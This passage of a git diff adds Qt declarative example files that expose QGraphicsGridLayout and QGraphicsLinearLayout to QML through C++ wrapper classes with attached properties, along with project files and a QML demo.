+ Q_PROPERTY(int rowMinimumHeight READ rowMinimumHeight WRITE setRowMinimumHeight)
+ Q_PROPERTY(int rowMaximumHeight READ rowMaximumHeight WRITE setRowMaximumHeight)
+ Q_PROPERTY(int rowFixedHeight READ rowFixedHeight WRITE setRowFixedHeight)
+
+ Q_PROPERTY(int columnPreferredWidth READ columnPreferredWidth WRITE setColumnPreferredWidth)
+ Q_PROPERTY(int columnMaximumWidth READ columnMaximumWidth WRITE setColumnMaximumWidth)
+ Q_PROPERTY(int columnMinimumWidth READ columnMinimumWidth WRITE setColumnMinimumWidth)
+ Q_PROPERTY(int columnFixedWidth READ columnFixedWidth WRITE setColumnFixedWidth)
+
+public:
+ GridLayoutAttached(QObject *parent);
+
+ int row() const { return m_row; }
+ void setRow(int r) { m_row = r; }
+
+ int column() const { return m_column; }
+ void setColumn(int c) { m_column = c; }
+
+ int rowSpan() const { return m_rowspan; }
+ void setRowSpan(int rs) { m_rowspan = rs; }
+
+ int columnSpan() const { return m_colspan; }
+ void setColumnSpan(int cs) { m_colspan = cs; }
+
+ Qt::Alignment alignment() const { return m_alignment; }
+ void setAlignment(Qt::Alignment a);
+
+ int rowStretchFactor() const { return m_rowStretch; }
+ void setRowStretchFactor(int f) { m_rowStretch = f; }
+ int columnStretchFactor() const { return m_colStretch; }
+ void setColumnStretchFactor(int f) { m_colStretch = f; }
+
+ int rowSpacing() const { return m_rowSpacing; }
+ void setRowSpacing(int s) { m_rowSpacing = s; }
+ int columnSpacing() const { return m_colSpacing; }
+ void setColumnSpacing(int s) { m_colSpacing = s; }
+
+ int rowPreferredHeight() const { return m_rowPrefHeight; }
+ void setRowPreferredHeight(int s) { m_rowPrefHeight = s; }
+
+ int rowMaximumHeight() const { return m_rowMaxHeight; }
+ void setRowMaximumHeight(int s) { m_rowMaxHeight = s; }
+
+ int rowMinimumHeight() const { return m_rowMinHeight; }
+ void setRowMinimumHeight(int s) { m_rowMinHeight = s; }
+
+ int rowFixedHeight() const { return m_rowFixHeight; }
+ void setRowFixedHeight(int s) { m_rowFixHeight = s; }
+
+ int columnPreferredWidth() const { return m_colPrefwidth; }
+ void setColumnPreferredWidth(int s) { m_colPrefwidth = s; }
+
+ int columnMaximumWidth() const { return m_colMaxwidth; }
+ void setColumnMaximumWidth(int s) { m_colMaxwidth = s; }
+
+ int columnMinimumWidth() const { return m_colMinwidth; }
+ void setColumnMinimumWidth(int s) { m_colMinwidth = s; }
+
+ int columnFixedWidth() const { return m_colFixwidth; }
+ void setColumnFixedWidth(int s) { m_colFixwidth = s; }
+
+signals:
+ void alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment);
+
+private:
+ int m_row;
+ int m_column;
+
+ int m_rowspan;
+ int m_colspan;
+ Qt::Alignment m_alignment;
+
+ int m_rowStretch;
+ int m_colStretch;
+ int m_rowSpacing;
+ int m_colSpacing;
+
+ int m_rowPrefHeight;
+ int m_rowMaxHeight;
+ int m_rowMinHeight;
+ int m_rowFixHeight;
+
+ int m_colPrefwidth;
+ int m_colMaxwidth;
+ int m_colMinwidth;
+ int m_colFixwidth;
+};
+
+QML_DECLARE_INTERFACE(QGraphicsLayoutItem)
+QML_DECLARE_INTERFACE(QGraphicsLayout)
+QML_DECLARE_TYPE(GraphicsGridLayoutObject)
+QML_DECLARE_TYPEINFO(GraphicsGridLayoutObject, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc
new file mode 100644
index 00000000..112b6f0a
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc
@@ -0,0 +1,5 @@
+<RCC>
+ <qresource prefix="/">
+ <file>qml/qgraphicsgridlayout/qgraphicsgridlayout.qml</file>
+ </qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp
new file mode 100644
index 00000000..d65fda80
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "gridlayout.h"
+#include "qmlapplicationviewer.h"
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char* argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterInterface<QGraphicsLayoutItem>("QGraphicsLayoutItem");
+ qmlRegisterInterface<QGraphicsLayout>("QGraphicsLayout");
+ qmlRegisterType<GraphicsGridLayoutObject>("GridLayouts", 4, 7, "GraphicsGridLayout");
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile("qml/qgraphicsgridlayout/qgraphicsgridlayout.qml");
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro
new file mode 100644
index 00000000..e42b7ed5
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro
@@ -0,0 +1,49 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/qgraphicsgridlayout
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE7E0DF63
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+QT += network
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += \
+ gridlayout.cpp \
+ main.cpp
+
+HEADERS += \
+ gridlayout.h
+
+RESOURCES += \
+ gridlayout.qrc
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qml/qgraphicsgridlayout/qgraphicsgridlayout.qml b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qml/qgraphicsgridlayout/qgraphicsgridlayout.qml
new file mode 100644
index 00000000..0ccdc6d1
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qml/qgraphicsgridlayout/qgraphicsgridlayout.qml
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import GridLayouts 4.7
+
+Item {
+ width: 400
+ height: 400
+
+ QGraphicsWidget {
+ size.width: parent.width
+ size.height: parent.height
+
+ /*
+ Below we create a grid layout using the GraphicsGridLayout item
+ (defined by the GraphicsGridLayoutObject class in gridlayout.h).
+
+ The row, column etc. are set through attached properties on
+ GraphicsGridLayout, using the properties defined in the
+ GridLayoutAttached class (also defined in gridlayout.h).
+ */
+
+ layout: GraphicsGridLayout {
+ LayoutItem {
+ GraphicsGridLayout.row: 0
+ GraphicsGridLayout.column: 0
+ minimumSize: "100x100"
+ maximumSize: "300x300"
+ preferredSize: "200x200"
+ Rectangle { color: "red"; anchors.fill: parent }
+ }
+ LayoutItem {
+ GraphicsGridLayout.row: 0
+ GraphicsGridLayout.column: 1
+ minimumSize: "100x100"
+ maximumSize: "200x200"
+ preferredSize: "200x200"
+ Rectangle { color: "orange"; anchors.fill: parent }
+ }
+ LayoutItem {
+ GraphicsGridLayout.row: 1
+ GraphicsGridLayout.column: 0
+ GraphicsGridLayout.columnSpan: 2
+ minimumSize: "100x100"
+ Rectangle { color: "yellow"; anchors.fill: parent }
+ }
+ LayoutItem {
+ GraphicsGridLayout.row: 2
+ GraphicsGridLayout.column: 0
+ preferredSize: "200x200"
+ Rectangle { color: "green"; anchors.fill: parent }
+ }
+ LayoutItem {
+ GraphicsGridLayout.row: 2
+ GraphicsGridLayout.column: 1
+ preferredSize: "200x200"
+ Rectangle { color: "blue"; anchors.fill: parent }
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.pro b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.pro
new file mode 100644
index 00000000..672120a8
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.pro
@@ -0,0 +1,6 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ layoutitem \
+ qgraphicsgridlayout \
+ qgraphicslinearlayout
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp
new file mode 100644
index 00000000..5c8872e5
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp
@@ -0,0 +1,175 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "linearlayout.h"
+
+#include <QGraphicsWidget>
+#include <QGraphicsLayoutItem>
+
+LinearLayoutAttached::LinearLayoutAttached(QObject *parent)
+: QObject(parent), m_stretch(1), m_alignment(Qt::AlignTop), m_spacing(0)
+{
+}
+
+void LinearLayoutAttached::setStretchFactor(int f)
+{
+ if (m_stretch != f) {
+ m_stretch = f;
+ emit stretchChanged(reinterpret_cast<QGraphicsLayoutItem*>(parent()), m_stretch);
+ }
+}
+
+void LinearLayoutAttached::setSpacing(int s)
+{
+ if (m_spacing != s) {
+ m_spacing = s;
+ emit spacingChanged(reinterpret_cast<QGraphicsLayoutItem*>(parent()), m_spacing);
+ }
+}
+
+void LinearLayoutAttached::setAlignment(Qt::Alignment a)
+{
+ if (m_alignment != a) {
+ m_alignment = a;
+ emit alignmentChanged(reinterpret_cast<QGraphicsLayoutItem*>(parent()), m_alignment);
+ }
+}
+
+GraphicsLinearLayoutStretchItemObject::GraphicsLinearLayoutStretchItemObject(QObject *parent)
+ : QObject(parent)
+{
+}
+
+QSizeF GraphicsLinearLayoutStretchItemObject::sizeHint(Qt::SizeHint which, const QSizeF &constraint) const
+{
+ Q_UNUSED(which);
+ Q_UNUSED(constraint);
+ return QSizeF();
+}
+
+
+GraphicsLinearLayoutObject::GraphicsLinearLayoutObject(QObject *parent)
+: QObject(parent)
+{
+}
+
+GraphicsLinearLayoutObject::~GraphicsLinearLayoutObject()
+{
+}
+
+void GraphicsLinearLayoutObject::insertLayoutItem(int index, QGraphicsLayoutItem *item)
+{
+ insertItem(index, item);
+
+ if (LinearLayoutAttached *obj = attachedProperties.value(item)) {
+ setStretchFactor(item, obj->stretchFactor());
+ setAlignment(item, obj->alignment());
+ updateSpacing(item, obj->spacing());
+ QObject::connect(obj, SIGNAL(stretchChanged(QGraphicsLayoutItem*,int)),
+ this, SLOT(updateStretch(QGraphicsLayoutItem*,int)));
+ QObject::connect(obj, SIGNAL(alignmentChanged(QGraphicsLayoutItem*,Qt::Alignment)),
+ this, SLOT(updateAlignment(QGraphicsLayoutItem*,Qt::Alignment)));
+ QObject::connect(obj, SIGNAL(spacingChanged(QGraphicsLayoutItem*,int)),
+ this, SLOT(updateSpacing(QGraphicsLayoutItem*,int)));
+ }
+}
+
+void GraphicsLinearLayoutObject::removeAt(int index)
+{
+ QGraphicsLayoutItem *item = itemAt(index);
+ if (item) {
+ LinearLayoutAttached *obj = attachedProperties.value(item);
+ obj->disconnect(this);
+ attachedProperties.remove(item);
+ }
+ QGraphicsLinearLayout::removeAt(index);
+}
+
+void GraphicsLinearLayoutObject::clearChildren()
+{
+ // do not delete the removed items; they will be deleted by the QML engine
+ while (count() > 0)
+ removeAt(count()-1);
+}
+
+qreal GraphicsLinearLayoutObject::contentsMargin() const
+{
+ qreal a, b, c, d;
+ getContentsMargins(&a, &b, &c, &d);
+ if (a == b && a == c && a == d)
+ return a;
+ return -1;
+}
+
+void GraphicsLinearLayoutObject::setContentsMargin(qreal m)
+{
+ setContentsMargins(m, m, m, m);
+}
+
+void GraphicsLinearLayoutObject::updateStretch(QGraphicsLayoutItem *item, int stretch)
+{
+ QGraphicsLinearLayout::setStretchFactor(item, stretch);
+}
+
+void GraphicsLinearLayoutObject::updateSpacing(QGraphicsLayoutItem* item, int spacing)
+{
+ for (int i=0; i < count(); i++){
+ if (itemAt(i) == item) {
+ QGraphicsLinearLayout::setItemSpacing(i, spacing);
+ return;
+ }
+ }
+}
+
+void GraphicsLinearLayoutObject::updateAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment)
+{
+ QGraphicsLinearLayout::setAlignment(item, alignment);
+}
+
+QHash<QGraphicsLayoutItem*, LinearLayoutAttached*> GraphicsLinearLayoutObject::attachedProperties;
+LinearLayoutAttached *GraphicsLinearLayoutObject::qmlAttachedProperties(QObject *obj)
+{
+ LinearLayoutAttached *rv = new LinearLayoutAttached(obj);
+ if (qobject_cast<QGraphicsLayoutItem*>(obj))
+ attachedProperties.insert(qobject_cast<QGraphicsLayoutItem*>(obj), rv);
+ return rv;
+}
+
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h
new file mode 100644
index 00000000..ff8c5f4f
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h
@@ -0,0 +1,152 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LINEARLAYOUT_H
+#define LINEARLAYOUT_H
+
+#include <qdeclarative.h>
+
+#include <QGraphicsLinearLayout>
+#include <QGraphicsLayoutItem>
+
+class GraphicsLinearLayoutStretchItemObject : public QObject, public QGraphicsLayoutItem
+{
+ Q_OBJECT
+ Q_INTERFACES(QGraphicsLayoutItem)
+public:
+ GraphicsLinearLayoutStretchItemObject(QObject *parent = 0);
+
+ virtual QSizeF sizeHint(Qt::SizeHint, const QSizeF &) const;
+};
+
+
+class LinearLayoutAttached;
+class GraphicsLinearLayoutObject : public QObject, public QGraphicsLinearLayout
+{
+ Q_OBJECT
+ Q_INTERFACES(QGraphicsLayout QGraphicsLayoutItem)
+
+ Q_PROPERTY(QDeclarativeListProperty<QGraphicsLayoutItem> children READ children)
+ Q_PROPERTY(Qt::Orientation orientation READ orientation WRITE setOrientation)
+ Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing)
+ Q_PROPERTY(qreal contentsMargin READ contentsMargin WRITE setContentsMargin)
+ Q_CLASSINFO("DefaultProperty", "children")
+public:
+ GraphicsLinearLayoutObject(QObject * = 0);
+ ~GraphicsLinearLayoutObject();
+
+ QDeclarativeListProperty<QGraphicsLayoutItem> children() { return QDeclarativeListProperty<QGraphicsLayoutItem>(this, 0, children_append, children_count, children_at, children_clear); }
+
+ qreal contentsMargin() const;
+ void setContentsMargin(qreal);
+
+ void removeAt(int index);
+
+ static LinearLayoutAttached *qmlAttachedProperties(QObject *);
+
+private slots:
+ void updateStretch(QGraphicsLayoutItem*,int);
+ void updateSpacing(QGraphicsLayoutItem*,int);
+ void updateAlignment(QGraphicsLayoutItem*,Qt::Alignment);
+
+private:
+ friend class LinearLayoutAttached;
+
+ void clearChildren();
+ void insertLayoutItem(int, QGraphicsLayoutItem *);
+
+ static void children_append(QDeclarativeListProperty<QGraphicsLayoutItem> *prop, QGraphicsLayoutItem *item) {
+ static_cast<GraphicsLinearLayoutObject*>(prop->object)->insertLayoutItem(-1, item);
+ }
+
+ static void children_clear(QDeclarativeListProperty<QGraphicsLayoutItem> *prop) {
+ static_cast<GraphicsLinearLayoutObject*>(prop->object)->clearChildren();
+ }
+
+ static int children_count(QDeclarativeListProperty<QGraphicsLayoutItem> *prop) {
+ return static_cast<GraphicsLinearLayoutObject*>(prop->object)->count();
+ }
+
+ static QGraphicsLayoutItem *children_at(QDeclarativeListProperty<QGraphicsLayoutItem> *prop, int index) {
+ return static_cast<GraphicsLinearLayoutObject*>(prop->object)->itemAt(index);
+ }
+
+ static QHash<QGraphicsLayoutItem*, LinearLayoutAttached*> attachedProperties;
+};
+
+
+class LinearLayoutAttached : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int stretchFactor READ stretchFactor WRITE setStretchFactor NOTIFY stretchChanged)
+ Q_PROPERTY(Qt::Alignment alignment READ alignment WRITE setAlignment NOTIFY alignmentChanged)
+ Q_PROPERTY(int spacing READ spacing WRITE setSpacing NOTIFY spacingChanged)
+
+public:
+ LinearLayoutAttached(QObject *parent);
+
+ int stretchFactor() const { return m_stretch; }
+ void setStretchFactor(int f);
+ Qt::Alignment alignment() const { return m_alignment; }
+ void setAlignment(Qt::Alignment a);
+ int spacing() const { return m_spacing; }
+ void setSpacing(int s);
+
+signals:
+ void stretchChanged(QGraphicsLayoutItem*, int);
+ void alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment);
+ void spacingChanged(QGraphicsLayoutItem*, int);
+
+private:
+ int m_stretch;
+ Qt::Alignment m_alignment;
+ int m_spacing;
+};
+
+QML_DECLARE_INTERFACE(QGraphicsLayoutItem)
+QML_DECLARE_INTERFACE(QGraphicsLayout)
+QML_DECLARE_TYPE(GraphicsLinearLayoutStretchItemObject)
+QML_DECLARE_TYPE(GraphicsLinearLayoutObject)
+QML_DECLARE_TYPEINFO(GraphicsLinearLayoutObject, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif
+
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc
new file mode 100644
index 00000000..9686f9b0
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc
@@ -0,0 +1,5 @@
+<RCC>
+ <qresource prefix="/">
+ <file>qml/qgraphicslinearlayout/qgraphicslinearlayout.qml</file>
+ </qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp
new file mode 100644
index 00000000..d0aed621
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "linearlayout.h"
+#include "qmlapplicationviewer.h"
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char* argv[])
+{
+ QApplication app(argc, argv);
+
